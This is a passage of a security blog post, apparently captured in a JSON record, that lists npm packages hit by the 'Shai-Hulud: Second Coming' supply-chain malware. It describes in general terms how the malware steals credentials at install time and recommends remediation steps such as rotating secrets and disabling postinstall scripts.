@voiceflow/npm-package-json-lint-config\n* @voiceflow/nestjs-mongodb\n* @voiceflow/tsconfig\n* @voiceflow/test-common\n* @voiceflow/husky-config\n* @voiceflow/commitlint-config\n* @voiceflow/git-branch-check\n* normal-store\n* @voiceflow/prettier-config\n* @voiceflow/stylelint-config\n* vf-oss-template\n* @voiceflow/storybook-config\n* @voiceflow/verror\n* @voiceflow/alexa-types\n* @voiceflow/nestjs-timeout\n* @voiceflow/serverless-plugin-typescript\n* @voiceflow/voiceflow-types\n* shelf-jwt-sessions\n* @hover-design/react\n* @voiceflow/base-types\n* @voiceflow/eslint-config\n* @voiceflow/fetch\n* @voiceflow/common\n* @voiceflow/eslint-plugin\n* @voiceflow/exception\n* @voiceflow/dtos-interact\n* @voiceflow/google-types\n* @voiceflow/nestjs-common\n* @voiceflow/pino\n* @voiceflow/sdk-runtime\n* @voiceflow/nestjs-rate-limit\n* @voiceflow/openai\n* dialogflow-es\n* @voiceflow/widget\n* arc-cli-fc\n* composite-reducer\n* bidirectional-adapter\n* @antstackio/express-graphql-proxy\n* @antstackio/json-to-graphql\n* @voiceflow/body-parser\n* @voiceflow/logger\n* @antstackio/eslint-config-antstack\n* @voiceflow/vitest-config\n* @faq-component/core\n* @pruthvi21/use-debounce\n* @voiceflow/api-sdk\n* @hover-design/core\n* @faq-component/react\n* @voiceflow/semantic-release-config\n* @voiceflow/vite-config\n* @voiceflow/circleci-config-sdk-orb-import\n* @voiceflow/backend-utils\n* @voiceflow/slate-serializer\n* @voiceflow/google-dfes-types\n* n8n-nodes-viral-app\n* @accordproject/markdown-docx\n* @clausehq/flows-step-sendgridemail\n* @lpdjs/firestore-repo-service\n* @trefox/sleekshop-js\n* invo\n* jsonsurge\n* mon-package-react-typescript\n* rediff\n* solomon-api-stories\n* solomon-v3-stories\n* solomon-v3-ui-wrapper\n* tcsp-draw-test\n* uplandui\n\n\u00e2\u0080\u008d\n\n\u00e2\u0080\u008d\n\n## Potential impact of Shai-Hulud: Second Coming\n\nThreat actors have slipped malicious code into hundreds of NPM packages \u00e2\u0080\u0094 including major ones from **Zapier, ENS, AsyncAPI, PostHog, Browserbase, and Postman**. If a developer installs one of these bad packages, the malware quietly runs *during installation*, before anything even finishes installing. This gives it access to the developer\u00e2\u0080\u0099s machine, build systems, or cloud environment. It then uses an automated tool (TruffleHog) to search for sensitive information like passwords, API keys, cloud tokens, and GitHub or NPM credentials. Anything it finds is uploaded to a public GitHub repository labeled **\u00e2\u0080\u009cSha1-Hulud: The Second Coming.\u00e2\u0080\u009d** If those stolen secrets include access to code repositories or package registries, attackers can use them to break into more accounts and publish more malicious packages, helping the attack spread further. Because trusted ecosystems were involved and millions of downloads are affected, any team using NPM should immediately check whether they were impacted and rotate any credentials that may have leaked.\n\n## \u00e2\u0080\u008d Which actions should security teams take?\n\n* Audit all Zapier/ENS-related npm dependencies and versions.\n* Rotate **all** GitHub, npm, cloud, and CI/CD secrets used during installs.\n* Check GitHub for strange repos with the description\u00c2\u00a0 \u00e2\u0080\u009cSha1-Hulud: The Second Coming\u00e2\u0080\u009d\n* Disable npm `postinstall` scripts in CI where possible.\n* Pin package versions and enforce MFA on GitHub and npm accounts.\n* Use tools like Safe-Chain to block malicious packages on NPM\n\n\u00e2\u0080\u008d  \nStory developing... Stay tuned for updates.\n\n\u00e2\u0080\u008d\n\n\u00e2\u0080\u008d\n\nWritten by\n\nCharlie Eriksen\n\nMalware Researcher\n\nCharlie Eriksen is a Security Researcher at Aikido Security, with extensive experience across IT security - including in product and leadership roles. He is the founder of jswzl and he previously worked at Secure Code Warrior as a security researcher and co-founded Adversary.\n\nJump to:\n\nText Link\n\n## Secure your software now\n\n## Check if your code has been affected by malware\n\nStart for Free\n\nScan now\n\nNo CC required\n\nScan now\n\nStart for Free\n\nScan now\n\nNo CC required\n\nScan now\n\nBook a demo\n\nShare:\n\nhttps://www.aikido.dev/blog/shai-hulud-strikes-again-hitting-zapier-ensdomains\n\nSimilar Posts\n\nNovember 19, 2025\n\n## The Future of Pentesting Is Autonomous\n\nMeet Aikido Attack: autonomous AI pentesting that detects, exploits, and validates real vulnerabilities across your stack. Fast results, full context, zero noise.\n\nTags/\n\nSeptember 24, 2025\n\n## Allseek and Haicker are joining Aikido: Building Autonomous AI Pentesting\n\nAllseek and Haicker join Aikido to launch Aikido Attack, autonomous pentests that think like hackers and run in hours instead of weeks.\n\nTags/\n\nSeptember 8, 2025\n\n## AutoTriage Integration in IDE\n\nAikido's IDE plugin can detect vulnerable code, and AutoTriage can help you ro priotiize what to fix\n\nTags/\n\n## Get secure for free\n\nSecure your code, cloud, and runtime in one central system.  \nFind and fix vulnerabilities fast automatically.\n\nStart Scanning\n\nNo CC required\n\nBook a demo\n\nNo credit card required | Scan results in 32secs.\n\n#Malware",
        "id": "2044",
        "event_id": "379627",
        "timestamp": "1764176640",
        "uuid": "cfa4c09d-a41b-4920-b082-b697090fe30a",
        "deleted": false
      }
    ]
  }
}